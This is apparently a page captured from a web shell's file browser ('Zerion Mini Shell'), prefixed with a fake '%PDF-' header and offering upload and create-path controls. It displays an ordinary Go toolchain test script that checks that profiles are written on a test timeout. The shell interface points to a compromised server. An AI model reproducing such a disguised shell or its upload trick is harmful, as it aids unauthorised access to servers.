%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/go/src/cmd/go/testdata/script/
Upload File :
Create Path :
Current File : //usr/local/go/src/cmd/go/testdata/script/test_write_profiles_on_timeout.txt

# Tests issue 19394

[short] skip

! go test -cpuprofile cpu.pprof -memprofile mem.pprof -timeout 1ms
stdout '^panic: test timed out'
grep . cpu.pprof
grep . mem.pprof

-- go.mod --
module profiling

go 1.16
-- timeout_test.go --
package timeouttest_test

import (
	"testing"
	"time"
)

func TestSleep(t *testing.T) {
	for {
		time.Sleep(1 * time.Second)
	}
}

Zerion Mini Shell 1.0